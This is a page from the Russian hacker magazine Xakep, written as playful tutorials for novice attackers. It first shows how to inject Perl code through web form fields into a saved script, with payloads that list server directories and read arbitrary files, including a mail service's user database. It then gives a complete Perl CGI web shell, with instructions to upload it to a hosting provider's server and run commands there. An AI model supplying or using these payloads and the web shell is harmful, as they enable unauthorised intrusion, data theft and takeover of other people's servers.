|

Scriptkiddie с молочными, но острыми зубами
Xakep, номер #027, стр. 027-048-2
Например (ТЕГИ скрипта, вводимые ПАРАМЕТРЫ):
$Color1="вставка из заполненной формы-1";
$Color2="вставка из заполненной формы-2";
$LettersPerPage="вставка из заполненной формы-3";
Если кто-то еще не понял этого глюка, объясняю подробнее: в сохраняемом скрипте всё выглядит так:
а) код программы: $Color1="
б) вставленное мною значение: #ffffff"; $a="
в) опять-таки код программы: ";
Получаем: $Color1="#ffffff"; $a=""; - и никаких ошибок. Теперь между #ffffff"; и $a=" можно добавить любой Perl'овский код. Круто! Можно заливать Perl-вставки в дополнение к цвету (или любому другому полю), которые будут выполняться на сервере, что нам, собственно, и надобно.
ШАГ 1
Чтобы вести простую навигацию по серверу, можно вставить такой код:
#ffffff"; opendir(DIR,"/"); @dirs=sort(readdir(DIR)); closedir(DIR); print join("<br>",@dirs); $a="
Вместо "/" вписываем нужные нам директории и лазаем по серваку!!!
ШАГ 2
Нужно прочитать файл? Без проблем:
#ffffff"; open(Op,"/путь/к/файлу/имя.файла"); while(<Op>) { print $_,"<br>"; } close(Op); $a="
Какой файл прочитать или куда на серваке слазать? Да куда угодно, где может быть интересующая инфа. Если нужно, ты можешь хапнуть всю базу данных по юзверам почтовика из var/w3mail/hire.net/. А можно вообще получить права рута, если почтовик был запущен с соответствующего полномочия. В общем, налицо огромное поле для экспериментов :).
Ломаем провайдера! От Forb
Все провайдеры делятся на тех, кто с охотой и без злого умысла предоставляет тебе unix-shell account`ы, и тех, кто их не даёт ни за какие деньги (мне не повезло - попался именно такой пров).
Но даже в этом случае не надо отчаиваться. Предположим, провайдер тебе предоставил 10 мегабайт под твою личную домашнюю страничку и Ftp-аккаунт. Это тебе и нужно.
Пишем perl-скрипт для управления серваком провайдера (подразумевается, что в качестве www-сервера у прова установлен Apache&perl: наиболее популярный вариант). Не бойся, написать script очень просто. Открывай блокнот aka notepad.exe :) и набивай туда текст:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
$cmd=$ENV{QUERY_STRING};
# Присваиваем переменной "cmd" аргументы скрипта.
@tmp=split(/%20/,$cmd);
# Заводим массив "tmp" в котором хранятся разбитые по пробелам строки из переменной "cmd".$cmd=join(" ",@tmp);
# Обновляем переменную "cmd", заменяя все закодированные браузером пробелы (%20) на обычные.
@output=`$cmd`;
# Выполняем команду "cmd" на сервере и записываем её результат в массив "output".
print "<html>
</pre>\n";
foreach (@output) {
print "$_";
# Выводим результат на экран.}
print "</pre></html>";
Сохрани это чудо под именем "test.pl" и залей его на сервер в ascii-режиме (иначе ничего работать не будет). Чтобы перейти к ascii-режиму, отправляй команду Ftp-серверу: "TYPE A".
Назад на стр. 027-048-1 Содержание Вперед на стр. 027-048-3
|